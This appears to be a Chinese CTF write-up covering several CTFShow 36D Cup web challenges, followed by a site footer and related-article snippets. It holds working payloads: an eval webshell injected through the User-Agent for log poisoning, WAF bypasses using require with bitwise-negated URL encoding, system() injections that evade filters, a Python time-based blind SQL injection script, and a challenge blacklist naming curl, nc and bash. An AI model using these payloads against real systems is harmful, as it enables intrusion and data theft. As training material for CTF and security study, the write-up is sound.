CTFSHOW-WEB-36D杯

給你shell

這道題對我這個新手還是有難度的,花了不少時間。首先f12看源碼,看到?view_source,點進去看源碼

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";if (isset($_GET['view_source'])) {show_source(__FILE__);die;
}function checkCookie($s) {$arr = explode(':', $s);if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {return true;} else {if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);return false;}
}function haveFun($_f_g) {$_g_r = 32;$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < $_g_r; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');if ($obj && isset($_GET['give_me_shell'])) {($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}die;

代碼審計得后,先看函數?checkCookie($s),這個函數主要就是檢查cookie,將cookie分兩段,第一段必須是'{"secret"' ,第二段必須滿足正則只能含數字和大寫英文字母,后面就是設置和讀取cookie,初次訪問會設置默認值(md5('y1ng') 的大寫),若我們傳入cookie,就會進去下一步判斷,get傳參give_me_shell,我們設置的cookieJSON解碼后保存在$obj中,如果

$obj['secret'] == $flag_md5

相等得話就會回顯shell_path,否則調用haveFun() 函數。?由于不知道 flag,自然無法直接獲得 $flag_md5。然后進入到haveFun() 函數,這個函數我也是研究了好長時間,好好分析一下

function haveFun($_f_g) {$_m_u = md5($_f_g);$_h_p = strtoupper($_m_u);for ($i = 0; $i < 32; $i++) {$_i = substr($_h_p, $i, 1);$_i = ord($_i);print_r($_i & 0xC0);}die;
}

首先是計算flagMD5大寫,然后是一個循環,每個字符轉ASCCII值,在與0xc0換位與

什么是0xc0

十六進制二進制
0xC011000000

?按位與

只保留 高兩位

低六位全部設為 0。

$_i & 0xC0

這里舉個例子

字符 'A'

'A' 的 ASCII = 65(二進制 01000001

01000001 & 11000000 = 01000000

64

這是逐位比較,相同為1,不同為0,然后比較后的二進制轉為十進制。

字符范圍對應 & 0xC0
'0'~'9'0
'A'~'F'64

這個函數也是模糊泄露了flag。

我們先傳參得到一個32位字符串。

0006464640064064646464006406464064640064006400000000000

分析的前三位都是數字后幾位是字母,這里就可以利用php的弱比較。只需判斷前三位數字即可,這里直接爆破是不行的,因為cookie格式為{"secrert":"xxxxxx"},后面的值也是一個字符串,我們需要利用數字與字符串的弱比較繞過,傳入的cookie是{"secret":123},接下來爆破數字就行

?當數字是115爆破成功,訪問回顯路徑

得到代碼

<?php
error_reporting(0);
session_start();//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";if (!$_SESSION['login'])die('<script>location.href=\'./index.php\'</script>');if (!isset($_GET['code'])) {show_source(__FILE__);exit();
} else {$code = $_GET['code'];if (!preg_match($secret_waf, $code)) {//清空session 從頭再來eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker} else die('hacker');
}/** When you feel that you are lost, do not give up, fight and move on.* Being a hacker is not easy, it requires effort and sacrifice.* But remember … we are legion!*  ————Deep CTF 2020
*/

主要考察waf繞過和命令執行,由于我們不知道過濾了什么先進行fuzz測試一下,發現過濾了 f?

\ / | ; ' + ) ( * ^ $ ' ` " "基本有用的都過濾了。

在一個 PHP 代碼段中的最后一行可以不用分號結束,于是構造?><?來進行繞過,

?>提前結束原有的PHP上下文(前面的?eval()?語句)。然后插入新的PHP代碼塊

<?= 相當于?<? echo。

?code=]=1?><?= 新代碼?>,

常用的函數基本都不能用了,而且f被過濾了,無法直接讀取flag文件,符號~可以將URL編碼取反,PHP中的函數urlencode可以將字符進行url編碼,利用這些特性,我們可以將命令進行url取反編碼,然后用~再取反,實現命令的注入,require和~之間不需要空格就可以執行,最終的payload

?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

然后再根據提示訪問/flag

payload

?code=]=1?><?=require~%d0%99%93%9e%98?>

ALL_INFO_U_WANT

這種題我也是第一次見,flag文件里放的不是flag,啟動靶機后我還玩了一會魔方,沒看注釋,然后dirsearch掃一下發現備份文件,得到源碼


visit all_info_u_want.php and you will get all information you want= =Thinking that it may be difficult, i decided to show you the source code:<?php
error_reporting(0);//give you all information you want
if (isset($_GET['all_info_i_want'])) {phpinfo();
}if (isset($_GET['file'])) {$file = "/var/www/html/" . $_GET['file'];//really baby includeinclude($file);
}?>really really really baby challenge right? 

根據提示先訪問all_info_u_want.php?all_info_i_want,拜讀大佬文章說open_basedir沒有設置,換句話,可以進行目錄穿越,訪問日志文件

?file=../../../../..//var/log/nginx/access.log

讓后在UA頭里執行命令。

?接下來就是找flag

大佬思路:

User Agent:
<?php eval($_POST[1]);?>
post:
1=system('find /etc -name "*" | xargs grep "ctfshow{"');

find /etc -name "*": 查找/etc目錄及其所有子目錄中的所有文件

| xargs grep "ctfshow{": 將找到的文件作為參數傳遞給grep,搜索包含"ctfshow{"字符串的內容

這樣就找到flag

WUSTCTF_樸實無華_Revenge

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);function isPalindrome($str){$len=strlen($str);$l=1;$k=intval($len/2)+1;for($j=0;$j<$k;$j++)if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {$l=0;break;}if ($l==1) return true;else return false;
}//level 1
if (isset($_GET['num'])){$num = $_GET['num'];$numPositve = intval($num);$numReverse = intval(strrev($num));if (preg_match('/[^0-9.-]/', $num)) {die("非洲歡迎你1");}if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系統中 intval()的上限不是2147483647 省省吧die("非洲歡迎你2");}if( $numPositve === $numReverse && !isPalindrome($num) ){echo "我不經意間看了看我的勞力士, 不是想看時間, 只是想不經意間, 讓你知道我過得比你好.</br>";}else{die("金錢解決不了窮人的本質問題");}
}else{die("去非洲吧");
}//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5(md5($md5)))echo "想到這個CTFer拿到flag后, 感激涕零, 跑去東瀾岸, 找一家餐廳, 把廚師轟出去, 自己炒兩個拿手小菜, 倒一杯散裝白酒, 致富有道, 別學小暴.</br>";elsedie("我趕緊喊來我的酒肉朋友, 他打了個電話, 把他一家安排到了非洲");
}else{die("去非洲吧");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);echo "想到這里, 我充實而欣慰, 有錢人的快樂往往就是這么的樸實無華, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
?>
去非洲吧

代碼審計題,題目定義了一個函數,用來判斷參數是否為回文,就是正著讀和反過來讀都一樣,比如‘12321’,就是回文。然后題目設置了三個關卡。

level 1

num 只能含數字、.-intval(num) == intval(strrev(num)),即數字和其反轉相等。字符串本身不能是回文(但數字相等)。

繞過的方法有很多,比如‘0-’,‘0.00’都可以

level2

這考察雙重md5碰撞,這重在積累,payload

0e1576609003
0e1138100474
0e113810047

level3

這一關考察rce,過濾了空格和常用的函數符號,用%09或者<繞過空格就行了

ls%09/

nl%09/flag

最終的payload

?num=0.00&md5=0e1138100474&get_flag=nl%09/flag

WUSTCTF_樸實無華_Revenge_Revenge

這一題和上面的差不多,payload

?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp

Login_Only_For_36D

測試發現存在過濾,fuzz測試

過濾了 'select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' '
能用'table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ','

這里參考大佬腳本

import requests
import time as turl = 'https://1509aa83-c3c4-4aee-a117-5d95de4fb8d5.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# Disable SSL verification
requests.packages.urllib3.disable_warnings()# Time-based blind injection
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary ensures case-sensitive matching
for i in range(16):for char in list_char:passwd_t = passwd + charpayload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'data = {'username': 'admin\\','password': payload}try:start = t.time()requests.post(url, data=data, verify=False) ?# verify=False disables SSL verificationend = t.time()if end - start >= 2:passwd += charprint(f"Found character {i+1}: {passwd}")breakexcept requests.exceptions.RequestException as e:print(f"Request failed: {e}")continueprint(f"Final password: {passwd}")

得到密碼登錄即可,36d杯名不虛傳

你取吧

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {if (preg_match ('/' . $blacklisted . '/im', $code)) {die('nonono');}
}
eval("echo($code);");
?>

這過濾的比較干凈,但是可以利用題目中的數組執行命令

?code=`$_[12]$_[13] /*`? ? ? ? ?`nl /*`
?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]`? ? ?`nl /flag`
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1? ? ? ? 1);system("nl /flag");(1

還有無字母rce利用自增繞過,我嘗試沒有成功,我再去沉淀沉淀,,,


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/907846.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/907846.shtml
英文地址,請注明出處:http://en.pswp.cn/news/907846.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CentOS_7.9 2U物理服務器上部署系統簡易操作步驟

近期單位網站革新&#xff0c;鑒于安全加固&#xff0c;計劃將原有Windows環境更新到Linux-CentOS 7.9&#xff0c;這版本也沒的說&#xff08;絕&#xff09;了&#xff08;版&#xff09;官方停止更新&#xff0c;但無論如何還是被sisi的牽掛著這一大批人&#xff0c;畢竟從接…

LVS-DR高可用-Keepalived

目錄 Keepalved雙機熱備 核心概念 關鍵組件 工作流程 實例環境 配置keepalived Web服務器配置 Keepalved雙機熱備 Keepalived雙機熱備是一種基于VRRP&#xff08;Virtual Router Redundancy Protocol&#xff0c;虛擬路由冗余協議&#xff09;實現的高可用性解決方案&am…

Polar編譯碼(SCL譯碼)和LDPC編譯碼(BP譯碼)的matlab性能仿真,并對比香農限

目錄 1.算法仿真效果 2.算法涉及理論知識概要 2.1香農極限 2.2 Polar碼編譯碼原理與SCL譯碼 2.3 LDPC碼編譯碼原理與BP譯碼 3.MATLAB核心程序 4.完整算法代碼文件獲得 1.算法仿真效果 matlab2024b仿真結果如下&#xff08;完整代碼運行后無水印&#xff09;&#xff1a…

AI 產品的 MVP 構建邏輯:Prompt 工程 ≠ 產品工程?(實戰增補篇)

一. 系統思維&#xff1a;產品工程的全局把控&#xff08;實戰增補篇&#xff09; 1. 某智能風控系統的彈性架構實踐 某消費金融公司在開發「30 秒極速貸」產品時&#xff0c;面臨兩大挑戰&#xff1a; Prompt 優化困境&#xff1a;傳統風控模型依賴 “提取用戶信用報告關鍵…

Unity程序集

對于Unity的程序集&#xff0c;具體內容可以參考Unity官方文檔&#xff0c;程序集定義 - 預定義程序集 比如Unity的默認程序集&#xff0c;Assembly-CSharp.dll&#xff0c;還有其他的比如 Assembly-CSharp-Editor.dll&#xff0c;Assembly-CSharp-firstpass.dll 沒有指定或…

【架構藝術】平衡技術架構設計和預期的產品形態

近期筆者因為工作原因&#xff0c;開始啟動team內部部分技術項目的重構。在事情啟動的過程中&#xff0c;內部對于這件事情的定性和投入有一些爭論&#xff0c;但最終還是敲定了下來。其中部分爭論點主要在于產品形態&#xff0c;因為事情涉及到跨部門合作&#xff0c;所以產品…

React和原生事件的區別

一、核心差異對比表 維度原生事件React 事件綁定語法HTML 屬性&#xff08;onclick&#xff09;或 DOM API&#xff08;addEventListener&#xff09;JSX 中使用駝峰式屬性&#xff08;onClick&#xff09;綁定位置直接綁定到具體 DOM 元素統一委托到根節點&#xff08;React …

大模型-modelscope下載和使用chatglm3-6b模型

前言 由于官方chatglm3-6b大模型文件下載比較慢&#xff0c;找到國內modelscope代替方案 1.SDK下載 pip install modelscope2.下載大模型文件 ?方法1:通過pip下載 1.安裝 setuptools 在當前使用的 Python 環境中安裝 setuptools pip install setuptools2.通過如下命令安…

【unity游戲開發——編輯器擴展】AssetDatabase公共類在編輯器環境中管理和操作項目中的資源

注意&#xff1a;考慮到編輯器擴展的內容比較多&#xff0c;我將編輯器擴展的內容分開&#xff0c;并全部整合放在【unity游戲開發——編輯器擴展】專欄里&#xff0c;感興趣的小伙伴可以前往逐一查看學習。 文章目錄 前言一、AssetDatabase常用API1、創建資源1.1 API1.2 示例 …

css實現文字漸變

在前端開發中&#xff0c;給文字設置漸變色是完全可以實現的&#xff0c;常用的方式是結合 CSS 的 background、-webkit-background-clip 和 -webkit-text-fill-color 屬性。下面是一個常見的實現方法&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> …

WSL 開發環境搭建指南:Java 11 + 中間件全家桶安裝實戰

在WSL&#xff08;Windows Subsystem for Linux&#xff09;環境下一站式安裝開發常用工具&#xff0c;能極大提升工作效率。接下來我將分步為你介紹如何在WSL中安裝Java 11、Maven、Redis、MySQL、Nacos、RabbitMQ、RocketMQ、Elasticsearch&#xff08;ES&#xff09;和Node.…

vue3: baidusubway using typescript

項目結構&#xff1a; <!--npm install -D tailwindcss-3d BaiduSubwayMap.vue npm install -D tailwindcss postcss autoprefixer--> <template><div class"relative w-full h-screen"><!-- 地圖容器 --><div id"subway-container…

【iptables防火墻】-- URL過濾 (Hexstring、IP、DoT和DoH)

在路由器中使用iptables工具對URL地址進行過濾涉及到如下幾個方面&#xff0c;hexstring、ip、DoT和DoH。 以過濾www.baidu.com為例 1、DNS阻斷 m string --hex-string是iptables中一個以?十六進制格式?定義要匹配的二進制特征并且支持混合明文和二進制數據的模塊。由于DN…

mysql-本地編譯 MySQL 源碼

完全理解你的感受&#xff01;MySQL 源碼本地調試確實是一個“坑多”的過程&#xff0c;尤其是當你第一次嘗試從源碼構建和調試 MySQL 時。但別擔心&#xff0c;我來一步步幫你梳理整個流程&#xff0c;并提供一個詳細、可操作的指南&#xff0c;讓你可以順利跑起來 MySQL 源碼…

深入理解 shared_ptr 與 enable_shared_from_this

在 C++ 的智能指針體系中,std::shared_ptr 是一個非常重要的工具,它通過引用計數機制幫助我們管理動態分配的對象生命周期,避免內存泄漏。然而,在某些情況下,我們可能需要從一個對象內部獲取指向自身的 shared_ptr,這時候就需要使用 std::enable_shared_from_this 這個輔…

通義開源視覺感知多模態 RAG 推理框架 VRAG-RL:開啟多模態推理新時代

通義實驗室的自然語言智能團隊&#xff0c;憑借深厚的技術積累與創新精神&#xff0c;成功研發并開源了視覺感知多模態 RAG 推理框架 VRAG-RL&#xff0c;為 AI 在復雜視覺信息處理領域帶來了重大突破。 傳統 RAG 方法的局限 傳統的檢索增強型生成&#xff08;RAG&#xff0…

【iOS】方法交換

方法交換 method-swizzling是什么相關API方法交換的風險method-swizzling使用過程中的一次性問題在當前類中進行方法交換類方法的方法交換 方法交換的應用 method-swizzling是什么 method-swizzling的含義是方法交換&#xff0c;他的主要作用是在運行的時候將一個方法的實現替…

Python - 爬蟲;Scrapy框架之插件Extensions(四)

閱讀本文前先參考 https://blog.csdn.net/MinggeQingchun/article/details/145904572 在 Scrapy 中&#xff0c;擴展&#xff08;Extensions&#xff09;是一種插件&#xff0c;允許你添加額外的功能到你的爬蟲項目中。這些擴展可以在項目的不同階段執行&#xff0c;比如啟動…

95套HTML高端大數據可視化大屏源碼分享

概述?? 在大數據時代&#xff0c;數據可視化已成為各行各業的重要需求。這里精心整理了95套高端HTML大數據可視化大屏源碼&#xff0c;這些資源采用現代化設計風格&#xff0c;可幫助開發者快速構建專業的數據展示界面。 ??主要內容?? ??1. 設計風格與特點?? 采用…

redis未授權(CVE-2022-0543)

概述 Redis 默認綁定在 0.0.0.0:6379&#xff0c;在未配置防火墻或訪問控制的情況下會將服務暴露在公網上。若未設置訪問密碼&#xff08;默認通常為空&#xff09;&#xff0c;攻擊者可直接未授權訪問 Redis。利用 Redis 提供的 CONFIG 命令&#xff0c;攻擊者可修改配置并將…